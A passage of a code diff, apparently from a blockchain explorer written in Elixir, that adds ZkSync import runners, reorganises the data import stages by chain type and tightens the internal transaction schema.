000000000000..a7dca2298b86 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/zksync/batch_transactions.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Chain.Import.Runner.ZkSync.BatchTransactions do + @moduledoc """ + Bulk imports `t:Explorer.Chain.ZkSync.BatchTransaction.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.ZkSync.BatchTransaction + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [BatchTransaction.t()] + + @impl Import.Runner + def ecto_schema_module, do: BatchTransaction + + @impl Import.Runner + def option_key, do: :zksync_batch_transactions + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_zksync_batch_transactions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :zksync_batch_transactions, + :zksync_batch_transactions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [BatchTransaction.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce ZkSync.BatchTransaction ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.transaction_hash) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: BatchTransaction, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :transaction_hash, + on_conflict: :nothing + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/zksync/lifecycle_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/zksync/lifecycle_transactions.ex new file mode 100644 index 000000000000..7011423601ee --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/zksync/lifecycle_transactions.ex @@ -0,0 +1,103 @@ +defmodule Explorer.Chain.Import.Runner.ZkSync.LifecycleTransactions do + @moduledoc """ + Bulk imports `t:Explorer.Chain.ZkSync.LifecycleTransaction.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.ZkSync.LifecycleTransaction + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [LifecycleTransaction.t()] + + @impl Import.Runner + def ecto_schema_module, do: LifecycleTransaction + + @impl Import.Runner + def option_key, do: :zksync_lifecycle_transactions + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_zksync_lifecycle_transactions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :zksync_lifecycle_transactions, + :zksync_lifecycle_transactions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [LifecycleTransaction.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce ZkSync.LifecycleTransaction ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.id) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: LifecycleTransaction, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :hash, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + transaction in LifecycleTransaction, + update: [ + set: [ + # don't update `id` as it is a primary key + # don't update `hash` as it is a unique index and used for the conflict target + timestamp: fragment("EXCLUDED.timestamp"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.timestamp) IS DISTINCT FROM (?)", + transaction.timestamp + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/zksync/transaction_batches.ex b/apps/explorer/lib/explorer/chain/import/runner/zksync/transaction_batches.ex new file mode 100644 index 000000000000..11c85fff7601 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/zksync/transaction_batches.ex @@ -0,0 +1,122 @@ +defmodule Explorer.Chain.Import.Runner.ZkSync.TransactionBatches do + @moduledoc """ + Bulk imports `t:Explorer.Chain.ZkSync.TransactionBatch.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.ZkSync.TransactionBatch + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [TransactionBatch.t()] + + @impl Import.Runner + def ecto_schema_module, do: TransactionBatch + + @impl Import.Runner + def option_key, do: :zksync_transaction_batches + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_zksync_transaction_batches, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :zksync_transaction_batches, + :zksync_transaction_batches + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [TransactionBatch.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce ZkSync.TransactionBatch ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: TransactionBatch, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :number, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + tb in TransactionBatch, + update: [ + set: [ + # don't update `number` as it is a primary key and used for the conflict target + timestamp: fragment("EXCLUDED.timestamp"), + l1_transaction_count: fragment("EXCLUDED.l1_transaction_count"), + l2_transaction_count: fragment("EXCLUDED.l2_transaction_count"), + root_hash: fragment("EXCLUDED.root_hash"), + l1_gas_price: fragment("EXCLUDED.l1_gas_price"), + l2_fair_gas_price: fragment("EXCLUDED.l2_fair_gas_price"), + start_block: fragment("EXCLUDED.start_block"), + end_block: fragment("EXCLUDED.end_block"), + commit_id: fragment("EXCLUDED.commit_id"), + prove_id: fragment("EXCLUDED.prove_id"), + execute_id: fragment("EXCLUDED.execute_id"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", tb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", tb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.timestamp, EXCLUDED.l1_transaction_count, EXCLUDED.l2_transaction_count, EXCLUDED.root_hash, EXCLUDED.l1_gas_price, EXCLUDED.l2_fair_gas_price, EXCLUDED.start_block, EXCLUDED.end_block, EXCLUDED.commit_id, EXCLUDED.prove_id, EXCLUDED.execute_id) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + tb.timestamp, + tb.l1_transaction_count, + tb.l2_transaction_count, + tb.root_hash, + tb.l1_gas_price, + tb.l2_fair_gas_price, + tb.start_block, + tb.end_block, + tb.commit_id, + tb.prove_id, + tb.execute_id + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage.ex b/apps/explorer/lib/explorer/chain/import/stage.ex index dcd3da1cc13e..ed000760ca9b 100644 --- a/apps/explorer/lib/explorer/chain/import/stage.ex +++ b/apps/explorer/lib/explorer/chain/import/stage.ex @@ -14,10 +14,18 @@ defmodule Explorer.Chain.Import.Stage do @type runner_to_changes_list :: %{Runner.t() => Runner.changes_list()} @doc """ - The runners consumed by this stage in `c:multis/0`. The list should be in the order that the runners are executed. + The configured runners consumed by this stage in `c:multis/0`. + The list should be in the order that the runners are executed and depends on chain type. """ @callback runners() :: [Runner.t(), ...] + @doc """ + Returns a list of all possible runners provided by the module. + This list is intended to include all runners, irrespective of chain type or + other configuration options. + """ + @callback all_runners() :: [Runner.t(), ...] + @doc """ Chunks `changes_list` into 1 or more `t:Ecto.Multi.t/0` that can be run in separate transactions. diff --git a/apps/explorer/lib/explorer/chain/import/stage/address_referencing.ex b/apps/explorer/lib/explorer/chain/import/stage/address_referencing.ex deleted file mode 100644 index 2d40ad74fb47..000000000000 --- a/apps/explorer/lib/explorer/chain/import/stage/address_referencing.ex +++ /dev/null @@ -1,26 +0,0 @@ -defmodule Explorer.Chain.Import.Stage.AddressReferencing do - @moduledoc """ - Imports any tables that reference `t:Explorer.Chain.Address.t/0` and that were imported by - `Explorer.Chain.Import.Stage.Addresses`. - """ - - alias Explorer.Chain.Import.{Runner, Stage} - - @behaviour Stage - - @impl Stage - def runners, - do: [ - Runner.Address.CoinBalances, - Runner.Blocks, - Runner.Address.CoinBalancesDaily - ] - - @impl Stage - def multis(runner_to_changes_list, options) do - {final_multi, final_remaining_runner_to_changes_list} = - Stage.single_multi(runners(), runner_to_changes_list, options) - - {[final_multi], final_remaining_runner_to_changes_list} - end -end diff --git a/apps/explorer/lib/explorer/chain/import/stage/addresses.ex b/apps/explorer/lib/explorer/chain/import/stage/addresses.ex index 03c8a5772449..915de483d0a0 100644 --- a/apps/explorer/lib/explorer/chain/import/stage/addresses.ex +++ b/apps/explorer/lib/explorer/chain/import/stage/addresses.ex @@ -1,22 +1,26 @@ defmodule Explorer.Chain.Import.Stage.Addresses do @moduledoc """ - Imports addresses before anything else that references them because an unused address is still valid and recoverable - if the other stage(s) don't commit. + Import addresses. """ alias Explorer.Chain.Import.{Runner, Stage} @behaviour Stage - @runner Runner.Addresses + @runners [ + Runner.Addresses + ] @impl Stage - def runners, do: [@runner] + def runners, do: @runners - @chunk_size 50 + @impl Stage + def all_runners, do: runners() + + @addresses_chunk_size 50 @impl Stage def multis(runner_to_changes_list, options) do - Stage.chunk_every(runner_to_changes_list, @runner, @chunk_size, options) + Stage.chunk_every(runner_to_changes_list, Runner.Addresses, @addresses_chunk_size, options) end end diff --git a/apps/explorer/lib/explorer/chain/import/stage/block_following.ex b/apps/explorer/lib/explorer/chain/import/stage/block_following.ex deleted file mode 100644 index 65a7c076039c..000000000000 --- a/apps/explorer/lib/explorer/chain/import/stage/block_following.ex +++ /dev/null @@ -1,28 +0,0 @@ -defmodule Explorer.Chain.Import.Stage.BlockFollowing do - @moduledoc """ - Imports any tables that follows and cannot be imported at the same time as - those imported by `Explorer.Chain.Import.Stage.Addresses`, - `Explorer.Chain.Import.Stage.AddressReferencing` and - `Explorer.Chain.Import.Stage.BlockReferencing` - """ - - alias Explorer.Chain.Import.{Runner, Stage} - - @behaviour Stage - - @impl Stage - def runners, - do: [ - Runner.Block.SecondDegreeRelations, - Runner.Block.Rewards, - Runner.Address.CurrentTokenBalances - ] - - @impl Stage - def multis(runner_to_changes_list, options) do - {final_multi, final_remaining_runner_to_changes_list} = - Stage.single_multi(runners(), runner_to_changes_list, options) - - {[final_multi], final_remaining_runner_to_changes_list} - end -end diff --git a/apps/explorer/lib/explorer/chain/import/stage/block_pending.ex b/apps/explorer/lib/explorer/chain/import/stage/block_pending.ex deleted file mode 100644 index fba315e142d4..000000000000 --- a/apps/explorer/lib/explorer/chain/import/stage/block_pending.ex +++ /dev/null @@ -1,27 +0,0 @@ -defmodule Explorer.Chain.Import.Stage.BlockPending do - @moduledoc """ - Imports any tables that uses `Explorer.Chain.PendingBlockOperation` to track - progress and cannot be imported at the same time as those imported by - `Explorer.Chain.Import.Stage.Addresses`, - `Explorer.Chain.Import.Stage.AddressReferencing` and - `Explorer.Chain.Import.Stage.BlockReferencing` - """ - - alias Explorer.Chain.Import.{Runner, Stage} - - @behaviour Stage - - @impl Stage - def runners, - do: [ - Runner.InternalTransactions - ] - - @impl Stage - def multis(runner_to_changes_list, options) do - {final_multi, final_remaining_runner_to_changes_list} = - Stage.single_multi(runners(), runner_to_changes_list, options) - - {[final_multi], final_remaining_runner_to_changes_list} - end -end diff --git a/apps/explorer/lib/explorer/chain/import/stage/block_referencing.ex b/apps/explorer/lib/explorer/chain/import/stage/block_referencing.ex deleted file mode 100644 index 373ac7845be7..000000000000 --- a/apps/explorer/lib/explorer/chain/import/stage/block_referencing.ex +++ /dev/null @@ -1,30 +0,0 @@ -defmodule Explorer.Chain.Import.Stage.BlockReferencing do - @moduledoc """ - Imports any tables that reference `t:Explorer.Chain.Block.t/0` and that were - imported by `Explorer.Chain.Import.Stage.Addresses` and - `Explorer.Chain.Import.Stage.AddressReferencing`. - """ - - alias Explorer.Chain.Import.{Runner, Stage} - - @behaviour Stage - - @impl Stage - def runners, - do: [ - Runner.Transactions, - Runner.Transaction.Forks, - Runner.Logs, - Runner.Tokens, - Runner.TokenTransfers, - Runner.Address.TokenBalances - ] - - @impl Stage - def multis(runner_to_changes_list, options) do - {final_multi, final_remaining_runner_to_changes_list} = - Stage.single_multi(runners(), runner_to_changes_list, options) - - {[final_multi], final_remaining_runner_to_changes_list} - end -end diff --git a/apps/explorer/lib/explorer/chain/import/stage/block_transaction_referencing.ex b/apps/explorer/lib/explorer/chain/import/stage/block_transaction_referencing.ex new file mode 100644 index 000000000000..8c25a9a05495 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/block_transaction_referencing.ex @@ -0,0 +1,33 @@ +defmodule Explorer.Chain.Import.Stage.BlockTransactionReferencing do + @moduledoc """ + Imports any data that is related to blocks and transactions. + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @runners [ + Runner.TokenTransfers, + Runner.Transaction.Forks, + Runner.Block.Rewards, + Runner.Block.SecondDegreeRelations, + Runner.TransactionActions, + Runner.Withdrawals, + Runner.SignedAuthorizations + ] + + @impl Stage + def runners, do: @runners + + @impl Stage + def all_runners, do: runners() + + @impl Stage + def multis(runner_to_changes_list, options) do + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(runners(), runner_to_changes_list, options) + + {[final_multi], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage/blocks.ex b/apps/explorer/lib/explorer/chain/import/stage/blocks.ex new file mode 100644 index 000000000000..205acd55453f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/blocks.ex @@ -0,0 +1,27 @@ +defmodule Explorer.Chain.Import.Stage.Blocks do + @moduledoc """ + Import blocks. + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @runners [ + Runner.Blocks + ] + + @impl Stage + def runners, do: @runners + + @impl Stage + def all_runners, do: runners() + + @impl Stage + def multis(runner_to_changes_list, options) do + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(runners(), runner_to_changes_list, options) + + {[final_multi], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage/chain_type_specific.ex b/apps/explorer/lib/explorer/chain/import/stage/chain_type_specific.ex new file mode 100644 index 000000000000..035f573801d8 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/chain_type_specific.ex @@ -0,0 +1,94 @@ +defmodule Explorer.Chain.Import.Stage.ChainTypeSpecific do + @moduledoc """ + Imports any chain type specific tables. + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @runners_by_chain_type %{ + optimism: [ + Runner.Optimism.FrameSequences, + Runner.Optimism.FrameSequenceBlobs, + Runner.Optimism.TransactionBatches, + Runner.Optimism.OutputRoots, + Runner.Optimism.DisputeGames, + Runner.Optimism.Deposits, + Runner.Optimism.Withdrawals, + Runner.Optimism.WithdrawalEvents, + Runner.Optimism.EIP1559ConfigUpdates, + Runner.Optimism.InteropMessages + ], + polygon_zkevm: [ + Runner.PolygonZkevm.LifecycleTransactions, + Runner.PolygonZkevm.TransactionBatches, + Runner.PolygonZkevm.BatchTransactions, + Runner.PolygonZkevm.BridgeL1Tokens, + Runner.PolygonZkevm.BridgeOperations + ], + zksync: [ + Runner.ZkSync.LifecycleTransactions, + Runner.ZkSync.TransactionBatches, + Runner.ZkSync.BatchTransactions, + Runner.ZkSync.BatchBlocks + ], + shibarium: [ + Runner.Shibarium.BridgeOperations + ], + ethereum: [ + Runner.Beacon.BlobTransactions + ], + arbitrum: [ + Runner.Arbitrum.Messages, + Runner.Arbitrum.LifecycleTransactions, + Runner.Arbitrum.L1Executions, + Runner.Arbitrum.L1Batches, + Runner.Arbitrum.BatchBlocks, + Runner.Arbitrum.BatchTransactions, + Runner.Arbitrum.DaMultiPurposeRecords, + Runner.Arbitrum.BatchToDaBlobs + ], + scroll: [ + Runner.Scroll.BatchBundles, + Runner.Scroll.Batches, + Runner.Scroll.BridgeOperations, + Runner.Scroll.L1FeeParams + ], + celo: [ + Runner.Celo.ValidatorGroupVotes, + Runner.Celo.Epochs, + Runner.Celo.ElectionRewards, + Runner.Celo.EpochRewards + ], + zilliqa: [ + Runner.Zilliqa.AggregateQuorumCertificates, + Runner.Zilliqa.NestedQuorumCertificates, + Runner.Zilliqa.QuorumCertificates + ], + stability: [ + Runner.Stability.Validators + ] + } + + @impl Stage + def runners do + chain_type = Application.get_env(:explorer, :chain_type) + Map.get(@runners_by_chain_type, chain_type, []) + end + + @impl Stage + def all_runners do + @runners_by_chain_type + |> Map.values() + |> Enum.concat() + end + + @impl Stage + def multis(runner_to_changes_list, options) do + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(runners(), runner_to_changes_list, options) + + {[final_multi], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage/internal_transactions.ex b/apps/explorer/lib/explorer/chain/import/stage/internal_transactions.ex new file mode 100644 index 000000000000..178c6a1b95a3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/internal_transactions.ex @@ -0,0 +1,27 @@ +defmodule Explorer.Chain.Import.Stage.InternalTransactions do + @moduledoc """ + Imports the rest of the data. + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @runners [ + Runner.InternalTransactions + ] + + @impl Stage + def runners, do: @runners + + @impl Stage + def all_runners, do: runners() + + @impl Stage + def multis(runner_to_changes_list, options) do + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(runners(), runner_to_changes_list, options) + + {[final_multi], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage/logs.ex b/apps/explorer/lib/explorer/chain/import/stage/logs.ex new file mode 100644 index 000000000000..739af1583d35 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/logs.ex @@ -0,0 +1,27 @@ +defmodule Explorer.Chain.Import.Stage.Logs do + @moduledoc """ + Import logs. + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @runners [ + Runner.Logs + ] + + @impl Stage + def runners, do: @runners + + @impl Stage + def all_runners, do: runners() + + @impl Stage + def multis(runner_to_changes_list, options) do + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(runners(), runner_to_changes_list, options) + + {[final_multi], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage/main.ex b/apps/explorer/lib/explorer/chain/import/stage/main.ex new file mode 100644 index 000000000000..863167db63a6 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/main.ex @@ -0,0 +1,30 @@ +defmodule Explorer.Chain.Import.Stage.Main do + @moduledoc """ + Imports main data (address_coin_balances, address_coin_balances_daily, tokens, transactions). + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @runners [ + Runner.Tokens, + Runner.Address.CoinBalances, + Runner.Address.CoinBalancesDaily, + Runner.Transactions + ] + + @impl Stage + def runners, do: @runners + + @impl Stage + def all_runners, do: runners() + + @impl Stage + def multis(runner_to_changes_list, options) do + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(@runners, runner_to_changes_list, options) + + {[final_multi], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage/token_instances.ex b/apps/explorer/lib/explorer/chain/import/stage/token_instances.ex new file mode 100644 index 000000000000..785930e6e18d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/token_instances.ex @@ -0,0 +1,27 @@ +defmodule Explorer.Chain.Import.Stage.TokenInstances do + @moduledoc """ + Import token instances. + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @runners [ + Runner.TokenInstances + ] + + @impl Stage + def runners, do: @runners + + @impl Stage + def all_runners, do: runners() + + @impl Stage + def multis(runner_to_changes_list, options) do + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(runners(), runner_to_changes_list, options) + + {[final_multi], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/stage/token_referencing.ex b/apps/explorer/lib/explorer/chain/import/stage/token_referencing.ex new file mode 100644 index 000000000000..de1c15b3069f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/stage/token_referencing.ex @@ -0,0 +1,34 @@ +defmodule Explorer.Chain.Import.Stage.TokenReferencing do + @moduledoc """ + Imports any data that is related to tokens. + """ + + alias Explorer.Chain.Import.{Runner, Stage} + + @behaviour Stage + + @ctb_runner Runner.Address.CurrentTokenBalances + + @rest_runners [ + Runner.Address.TokenBalances + ] + + @impl Stage + def runners, do: [@ctb_runner | @rest_runners] + + @impl Stage + def all_runners, do: runners() + + @ctb_chunk_size 50 + + @impl Stage + def multis(runner_to_changes_list, options) do + {ctb_multis, remaining_runner_to_changes_list} = + Stage.chunk_every(runner_to_changes_list, @ctb_runner, @ctb_chunk_size, options) + + {final_multi, final_remaining_runner_to_changes_list} = + Stage.single_multi(@rest_runners, remaining_runner_to_changes_list, options) + + {[final_multi | ctb_multis], final_remaining_runner_to_changes_list} + end +end diff --git a/apps/explorer/lib/explorer/chain/internal_transaction.ex b/apps/explorer/lib/explorer/chain/internal_transaction.ex index 60cb8b89beb7..eb4ac7466714 100644 --- a/apps/explorer/lib/explorer/chain/internal_transaction.ex +++ b/apps/explorer/lib/explorer/chain/internal_transaction.ex @@ -3,8 +3,19 @@ defmodule Explorer.Chain.InternalTransaction do use Explorer.Schema - alias Explorer.Chain.{Address, Block, Data, Gas, Hash, PendingBlockOperation, Transaction, Wei} - alias Explorer.Chain.InternalTransaction.{Action, CallType, Result, Type} + alias Explorer.{Chain, PagingOptions} + alias Explorer.Chain.{Address, Block, Data, Hash, PendingBlockOperation, Transaction, Wei} + alias Explorer.Chain.Block.Reader.General, as: BlockReaderGeneral + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.DenormalizationHelper + alias Explorer.Chain.InternalTransaction.{CallType, Type} + + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] + + @typep paging_options :: {:paging_options, PagingOptions.t()} + @typep api? :: {:api?, true | false} + + @default_paging_options %PagingOptions{page_size: 50} @typedoc """ * `block_number` - the `t:Explorer.Chain.Block.t/0` `number` that the `transaction` is collated into. @@ -32,50 +43,25 @@ defmodule Explorer.Chain.InternalTransaction do * `block_index` - the index of this internal transaction inside the `block` * `pending_block` - `nil` if `block` has all its internal transactions fetched """ - @type t :: %__MODULE__{ - block_number: Explorer.Chain.Block.block_number() | nil, - type: Type.t(), - call_type: CallType.t() | nil, - created_contract_address: %Ecto.Association.NotLoaded{} | Address.t() | nil, - created_contract_address_hash: Hash.t() | nil, - created_contract_code: Data.t() | nil, - error: String.t(), - from_address: %Ecto.Association.NotLoaded{} | Address.t(), - from_address_hash: Hash.Address.t(), - gas: Gas.t() | nil, - gas_used: Gas.t() | nil, - index: non_neg_integer(), - init: Data.t() | nil, - input: Data.t() | nil, - output: Data.t() | nil, - to_address: %Ecto.Association.NotLoaded{} | Address.t() | nil, - to_address_hash: Hash.Address.t() | nil, - trace_address: [non_neg_integer()], - transaction: %Ecto.Association.NotLoaded{} | Transaction.t(), - transaction_hash: Hash.t(), - transaction_index: Transaction.transaction_index() | nil, - value: Wei.t(), - block_hash: Hash.Full.t(), - block_index: non_neg_integer() - } - @primary_key false - schema "internal_transactions" do + typed_schema "internal_transactions" do + # todo: consider using enum: `field(:call_type, Ecto.Enum, values: [:call, :callcode, :delegatecall, :staticcall])` field(:call_type, CallType) field(:created_contract_code, Data) field(:error, :string) field(:gas, :decimal) field(:gas_used, :decimal) - field(:index, :integer, primary_key: true) + field(:index, :integer, primary_key: true, null: false) field(:init, Data) field(:input, Data) field(:output, Data) - field(:trace_address, {:array, :integer}) - field(:type, Type) - field(:value, Wei) + field(:trace_address, {:array, :integer}, null: false) + # todo: consider using enum + field(:type, Type, null: false) + field(:value, Wei, null: false) field(:block_number, :integer) field(:transaction_index, :integer) - field(:block_index, :integer) + field(:block_index, :integer, null: false) timestamps() @@ -92,7 +78,8 @@ defmodule Explorer.Chain.InternalTransaction do Address, foreign_key: :from_address_hash, references: :hash, - type: Hash.Address + type: Hash.Address, + null: false ) belongs_to( @@ -107,21 +94,22 @@ defmodule Explorer.Chain.InternalTransaction do foreign_key: :transaction_hash, primary_key: true, references: :hash, - type: Hash.Full + type: Hash.Full, + null: false ) belongs_to(:block, Block, foreign_key: :block_hash, references: :hash, - type: Hash.Full + type: Hash.Full, + null: false ) belongs_to(:pending_block, PendingBlockOperation, foreign_key: :block_hash, define_field: false, references: :block_hash, - type: Hash.Full, - where: [fetch_internal_transactions: true] + type: Hash.Full ) end @@ -201,7 +189,7 @@ defmodule Explorer.Chain.InternalTransaction do bytes: <<120, 164, 45, 55, 5, 251, 60, 38, 164, 181, 71, 55, 167, 132, 191, 6, 79, 8, 21, 251>> } - `:call` type traces are generated when a method in a contrat is call. + `:call` type traces are generated when a method in a contract is call. iex> changeset = Explorer.Chain.InternalTransaction.changeset( ...> %Explorer.Chain.InternalTransaction{}, @@ -253,7 +241,8 @@ defmodule Explorer.Chain.InternalTransaction do true Failed `:call`s are not allowed to set `gas_used` or `output` because they are part of the successful `result` object - in the Parity JSONRPC response. They still need `input`, however. + in the Nethermind JSONRPC response. They still need `input`, however. + The changeset will be fixed by `validate_call_error_or_result`, therefore the changeset is still valid. iex> changeset = Explorer.Chain.InternalTransaction.changeset( ...> %Explorer.Chain.InternalTransaction{}, @@ -278,12 +267,7 @@ defmodule Explorer.Chain.InternalTransaction do ...> } ...> ) iex> changeset.valid? - false - iex> changeset.errors - [ - output: {"can't be present for failed call", []}, - gas_used: {"can't be present for failed call", []} - ] + true Likewise, successful `:call`s require `input`, `gas_used` and `output` to be set. @@ -315,7 +299,8 @@ defmodule Explorer.Chain.InternalTransaction do ] For failed `:create`, `created_contract_code`, `created_contract_address_hash`, and `gas_used` are not allowed to be - set because they come from `result` object, which shouldn't be returned from Parity. + set because they come from `result` object, which shouldn't be returned from Nethermind. + The changeset will be fixed by `validate_create_error_or_result`, therefore the changeset is still valid. iex> changeset = Explorer.Chain.InternalTransaction.changeset( ...> %Explorer.Chain.InternalTransaction{}, @@ -339,13 +324,7 @@ defmodule Explorer.Chain.InternalTransaction do ...> } iex> ) iex> changeset.valid? - false - iex> changeset.errors - [ - gas_used: {"can't be present for failed create", []}, - created_contract_address_hash: {"can't be present for failed create", []}, - created_contract_code: {"can't be present for failed create", []} - ] + true For successful `:create`, `created_contract_code`, `created_contract_address_hash`, and `gas_used` are required. @@ -443,11 +422,10 @@ defmodule Explorer.Chain.InternalTransaction do changeset |> cast(attrs, @call_allowed_fields) |> validate_required(@call_required_fields) + # TODO consider removing |> validate_call_error_or_result() |> check_constraint(:call_type, message: ~S|can't be blank when type is 'call'|, name: :call_has_call_type) - |> check_constraint(:input, message: ~S|can't be blank when type is 'call'|, name: :call_has_call_type) - |> foreign_key_constraint(:from_address_hash) - |> foreign_key_constraint(:to_address_hash) + |> check_constraint(:input, message: ~S|can't be blank when type is 'call'|, name: :call_has_input) 